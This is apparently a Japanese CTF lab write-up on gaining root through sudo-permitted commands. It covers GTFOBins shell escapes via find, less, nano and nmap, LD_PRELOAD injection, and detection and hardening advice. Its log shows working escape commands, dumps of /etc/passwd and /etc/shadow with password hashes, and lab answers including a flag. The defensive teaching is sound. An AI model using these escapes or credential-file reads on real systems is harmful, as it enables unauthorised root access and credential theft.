概要
このラボは、sudo によって限定的に付与された権限を突いて root 権限を得る典型的なパターンを学ぶためのものです。狙いどころは「管理者が意図した範囲外でコマンド機能を使ってシェルを得る」こと。代表的な着眼点は次の通りです:sudo -l で許可されたコマンドを確認する、アプリケーションの機能を利用する(エディタの外部コマンド実行など)、動的リンクの仕組み(LD_PRELOAD など)を利用する、そして GTFOBins のような既知のエスケープ手法を参照する。
ラボで扱った要点
-
sudo -lによる権限確認:許可されたコマンド一覧(例:/usr/bin/find、/usr/bin/less、/usr/bin/nano)。この出力が攻撃ベクトルの出発点になります。 -
NOPASSWD指定があるとパスワード無しで実行できるため利便性とリスクが両立します。 - 一部のプログラムは「内部機能」で任意コマンドを実行できる(例:ファイルを開くエディタやインタラクティブモードのあるツール)。そうした機能を利用してシェルや任意コマンドを呼び出せる。
- 環境変数を保持して
LD_PRELOAD等が渡せる設定(sudoers のenv_keep)があると、動的リンクの仕組みを悪用して任意コードを実行される恐れがある。 - GTFOBins は「sudo 付きで実行できるコマンドからシェルを得る」既知のトリック集で、調査の第一手になる(参照先を確認するのは安全な学習行為)
攻撃ベクトル(概念レベル)
-
アプリケーション機能の悪用
- エディタやインタラクティブツール(less, nano, find の
-exec等)が持つ機能からシェルやコマンドを実行する。 - ポイント:そのコマンドが
sudoで実行されると、実行される子プロセスは root 権限になる可能性がある。
- エディタやインタラクティブツール(less, nano, find の
-
環境変数を利用したライブラリ注入(動的リンカの仕組み)
-
LD_PRELOAD等で任意の共有ライブラリをロードさせ、初期化ルーチン等で任意コードを実行する概念。 - 前提として sudo が環境変数を保持する(
env_keep)かつ実行バイナリの実ユーザIDと実効IDの関係が条件を満たす必要がある。
-
-
GTFOBins 等既知のテクニック
- 既知のコマンドごとの「sudo 経由でシェルを得る手順」のカタログ。まずはここを確認してからラボ演習を始めるのが効率的。
検出・監査(運用側ができること)
-
sudo のログを有効にし監視する
-
/var/log/auth.log(または監査ソリューション)を監視し、sudo実行の頻度/異常な組み合わせをアラート化する。
-
-
プロセスの親子関係をログ収集する
- sysmon/OSSEC/EDR 等でコマンドから spawn されたプロセス列を追跡し、異常なシェル起動を検出する。
-
ファイル監査(重要ファイルへのアクセス)
-
/etc/shadowやシステム設定ファイルへのアクセス試行をアラート化する。
-
防御策チェックリスト(優先度順)
-
最小権限の原則
- ユーザに与える
sudo権限は最小に留める。不要ならNOPASSWDを付けない。
- ユーザに与える
-
sudoers の細かい制御
- コマンドのフルパスでの限定、引数や実行元ディレクトリの制限などを検討する。
-
環境変数の扱いを厳格化
-
Defaults env_resetを有効にし、env_keepを必要最小限にする。LD_PRELOADやLD_LIBRARY_PATHを保持しない。
-
-
PATH の固定(secure_path)
-
secure_pathを設定して、意図しないバイナリの実行を防ぐ。
-
-
エディタやツールの制限
-
lessやnanoのように外部コマンドやシェル起動を可能にするツールをsudo権限で与えない。どうしても必要ならラッパースクリプトや権限制御で機能を削ぐ。
-
-
NOEXEC の活用(適用可な場合)
-
noexecを使える環境であれば検討。ただし万能ではない(バイパス方法がある)。
-
-
アプリケーションのサンドボックス化
- AppArmor/SELinux/containers などでプロセス権限を補強する。
-
定期的な監査とレビュー
-
sudoersの定期レビュー、権限付与手順の整備、監査ログの定期チェック。
-
演習の Q&A(出題と回答)
以下はこの演習で出題された質問と、その解答です(実演で得られた情報に基づく)。
Q1: user karen がターゲット上で sudo で実行できるプログラムは何個か?
A1: 3
許可されたコマンドは /usr/bin/find、/usr/bin/less、/usr/bin/nano(sudo -l の出力による)。
Q2: /home/ubuntu/flag2.txt の中身は何か?
A2: THM-402028394(ファイル内容として演習内で確認されたフラグ)。
Q3: もし nmap に対して sudo 権限があったら、どのようにして root シェルを得られるか?(参照先)
A3: GTFOBins の nmap ページ参照が推奨される。演習での参照例は sudo nmap --interactive(GTFOBins に掲載されているテクニックの参照先を示すにとどめる)。
Q4: frank のパスワードハッシュは何か?(/etc/shadow の該当行)
A4: frank 行のハッシュは演習ファイルより以下の値(/etc/shadow の該当フィールド):
$6$2.sUUDsOLIpXKxcr$eImtgFExyr2ls4jsghdD3DHLHHP9X50Iv.jNmwo/BJpphrPRJWjelWEz2HH.joV14aDEwW1c3CahzB1uaqeLR1
まとめ
- 開発・運用チームはまず
sudoersを最小化し、env_keepを見直す。 -
lessやnanoのような「外部コマンド実行を含む可能性のあるツール」はsudoの範囲外にするか、機能限定のラッパーを用意する。 - 監査ログ/EDR を整備して
sudoをトリガーとした疑わしいプロセススパイラルをアラート化する。
参考
Log
$ sudo -l
Matching Defaults entries for karen on ip-10-201-53-60:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User karen may run the following commands on ip-10-201-53-60:
(ALL) NOPASSWD: /usr/bin/find
(ALL) NOPASSWD: /usr/bin/less
(ALL) NOPASSWD: /usr/bin/nano
find / -name flag2.txt
/home/ubuntu/flag2.txt
$ cat /home/ubuntu/flag2.txt
THM-402028394
https://gtfobins.github.io/gtfobins/nmap/
sudo nmap --interactive
method1
https://gtfobins.github.io/gtfobins/find/
$ sudo find . -exec /bin/sh \; -quit
method2
https://gtfobins.github.io/gtfobins/less/
less /etc/profile
!/bin/sh
method3
https://gtfobins.github.io/gtfobins/nano/
nano -s /bin/sh
/bin/sh
^T
# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
ec2-instance-connect:x:112:65534::/nonexistent:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
karen:x:1001:1001::/home/karen:/bin/sh
frank:x:1002:1002::/home/frank:/bin/sh
# cat /etc/shadow
root:*:18561:0:99999:7:::
daemon:*:18561:0:99999:7:::
bin:*:18561:0:99999:7:::
sys:*:18561:0:99999:7:::
sync:*:18561:0:99999:7:::
games:*:18561:0:99999:7:::
man:*:18561:0:99999:7:::
lp:*:18561:0:99999:7:::
mail:*:18561:0:99999:7:::
news:*:18561:0:99999:7:::
uucp:*:18561:0:99999:7:::
proxy:*:18561:0:99999:7:::
www-data:*:18561:0:99999:7:::
backup:*:18561:0:99999:7:::
list:*:18561:0:99999:7:::
irc:*:18561:0:99999:7:::
gnats:*:18561:0:99999:7:::
nobody:*:18561:0:99999:7:::
systemd-network:*:18561:0:99999:7:::
systemd-resolve:*:18561:0:99999:7:::
systemd-timesync:*:18561:0:99999:7:::
messagebus:*:18561:0:99999:7:::
syslog:*:18561:0:99999:7:::
_apt:*:18561:0:99999:7:::
tss:*:18561:0:99999:7:::
uuidd:*:18561:0:99999:7:::
tcpdump:*:18561:0:99999:7:::
sshd:*:18561:0:99999:7:::
landscape:*:18561:0:99999:7:::
pollinate:*:18561:0:99999:7:::
ec2-instance-connect:!:18561:0:99999:7:::
systemd-coredump:!!:18796::::::
ubuntu:!:18796:0:99999:7:::
lxd:!:18796::::::
karen:$6$QHTxjZ77ZcxU54ov$DCV2wd1mG5wJoTB.cXJoXtLVDZe1Ec1jbQFv3ICAYbnMqdhJzIEi3H4qyyKO7T75h4hHQWuWWzBH7brjZiSaX0:18796:0:99999:7:::
frank:$6$2.sUUDsOLIpXKxcr$eImtgFExyr2ls4jsghdD3DHLHHP9X50Iv.jNmwo/BJpphrPRJWjelWEz2HH.joV14aDEwW1c3CahzB1uaqeLR1:18796:0:99999:7:::
#